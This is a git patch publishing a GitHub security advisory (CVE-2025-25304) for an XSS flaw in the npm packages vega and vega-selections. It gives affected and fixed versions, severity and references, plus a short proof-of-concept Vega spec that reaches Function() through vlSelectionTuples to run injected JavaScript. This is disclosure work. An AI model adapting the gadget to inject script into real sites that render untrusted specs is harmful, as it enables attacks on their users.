From 337464ad8c54cc360da0052bbae87f501a4d6a85 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Fri, 14 Feb 2025 17:35:09 +0000 Subject: [PATCH] Publish GHSA-mp7w-mhcv-673j --- .../GHSA-mp7w-mhcv-673j.json | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 advisories/github-reviewed/2025/02/GHSA-mp7w-mhcv-673j/GHSA-mp7w-mhcv-673j.json diff --git a/advisories/github-reviewed/2025/02/GHSA-mp7w-mhcv-673j/GHSA-mp7w-mhcv-673j.json b/advisories/github-reviewed/2025/02/GHSA-mp7w-mhcv-673j/GHSA-mp7w-mhcv-673j.json new file mode 100644 index 00000000000..a01e3a93d55 --- /dev/null +++ b/advisories/github-reviewed/2025/02/GHSA-mp7w-mhcv-673j/GHSA-mp7w-mhcv-673j.json @@ -0,0 +1,80 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mp7w-mhcv-673j", + "modified": "2025-02-14T17:33:58Z", + "published": "2025-02-14T17:33:58Z", + "aliases": [ + "CVE-2025-25304" + ], + "summary": "Vega allows Cross-site Scripting via the vlSelectionTuples function", + "details": "### Summary\nThe `vlSelectionTuples` function can be used to call JavaScript functions, leading to XSS.\n\n### Details\n[`vlSelectionTuples`](https://github.com/vega/vega/blob/b45cf431cd6c0d0c0e1567f087f9b3b55bc236fa/packages/vega-selections/src/selectionTuples.js#L14) calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.\n\nExample call: `vlSelectionTuples([{datum:}], {fields:[{getter:}]})`\n\nThis can be used to call `Function()` with arbitrary JavaScript and the resulting function can be called with `vlSelectionTuples` or using a type coercion to call `toString` or `valueOf`.\n\n### PoC\n```\n{\"$schema\":\"https://vega.github.io/schema/vega/v5.json\",\"signals\":[{\"name\":\"a\",\"init\":\"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}\"}]}\n```", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "vega" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "5.26.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "npm", + "name": "vega-selections" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "5.4.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/vega/vega/security/advisories/GHSA-mp7w-mhcv-673j" + }, + { + "type": "WEB", + "url": "https://github.com/vega/vega/commit/9fb9ea07e27984394e463d286eb73944fa61411e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vega/vega" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-02-14T17:33:58Z", + "nvd_published_at": null + } +} \ No newline at end of file